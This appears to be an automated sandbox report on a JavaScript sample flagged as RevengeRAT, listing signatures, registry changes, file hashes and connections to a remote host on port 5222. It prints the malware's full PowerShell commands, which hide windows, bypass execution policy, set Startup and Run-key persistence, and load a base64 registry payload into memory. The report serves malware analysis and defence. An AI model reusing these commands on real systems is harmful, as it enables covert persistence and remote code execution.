Analysis Overview
SHA256
213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
Threat Level: Known bad
The file 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js was found to be: Known bad.
Malicious Activity Summary
RevengeRAT
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Checks computer location settings
Adds Run key to start application
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-16 01:17
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-16 01:17
Reported
2024-10-16 01:20
Platform
win7-20241010-en
Max time kernel
132s
Max time network
151s
Command Line
Signatures
RevengeRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"
C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Network
| Country | Destination | Domain | Proto |
| US | 54.146.241.16:5222 | tcp | |
| US | 54.146.241.16:5222 | tcp | |
| US | 54.146.241.16:5222 | tcp | |
| US | 54.146.241.16:5222 | tcp |
Files
memory/2744-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp
memory/2744-6-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp
memory/2744-5-0x000000001B1B0000-0x000000001B492000-memory.dmp
memory/2744-7-0x0000000002570000-0x0000000002578000-memory.dmp
memory/2744-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp
memory/2744-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp
memory/2744-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp
C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
| MD5 | 14e68a45361bb287393747ce2b271838 |
| SHA1 | 16144ac8dc7ecc27e4667a3241da8810f8b84778 |
| SHA256 | 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a |
| SHA512 | 1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb |
memory/2744-13-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | c10f996481440ace7fa175ba35e550fb |
| SHA1 | 6513a6ba964b6d1d09ce21952070e683958e47aa |
| SHA256 | 9b2a214f257d6b0766a92c915b41706d1128aa123d6332f5004478a4a648a227 |
| SHA512 | c14d6497af63c2dc66f88ebd93aec1b933f4336a2335042f22ae26cbb35a0b183e6f56db21b4d7d31ad7236bf4daebc97e586176b0c40949b184f9651b5ac319 |
memory/2764-30-0x0000000002650000-0x000000000265A000-memory.dmp
memory/2744-31-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp
memory/2744-32-0x000007FEF581E000-0x000007FEF581F000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-16 01:17
Reported
2024-10-16 01:20
Platform
win10v2004-20241007-en
Max time kernel
142s
Max time network
151s
Command Line
Signatures
RevengeRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"
C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 14.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp | |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 16.241.146.54.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.209.201.84.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp | |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp | |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp |
Files
memory/2524-0-0x00007FF9158F3000-0x00007FF9158F5000-memory.dmp
memory/2524-1-0x000001FFB0340000-0x000001FFB0362000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qex5bcb.vv0.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2524-11-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp
memory/2524-12-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp
memory/2524-13-0x000001FFB0850000-0x000001FFB0894000-memory.dmp
C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
| MD5 | 14e68a45361bb287393747ce2b271838 |
| SHA1 | 16144ac8dc7ecc27e4667a3241da8810f8b84778 |
| SHA256 | 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a |
| SHA512 | 1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb |
memory/2524-16-0x000001FFB0920000-0x000001FFB0996000-memory.dmp
memory/2936-44-0x000002704F520000-0x000002704F52A000-memory.dmp
memory/2524-46-0x00007FF9158F3000-0x00007FF9158F5000-memory.dmp
memory/2524-47-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |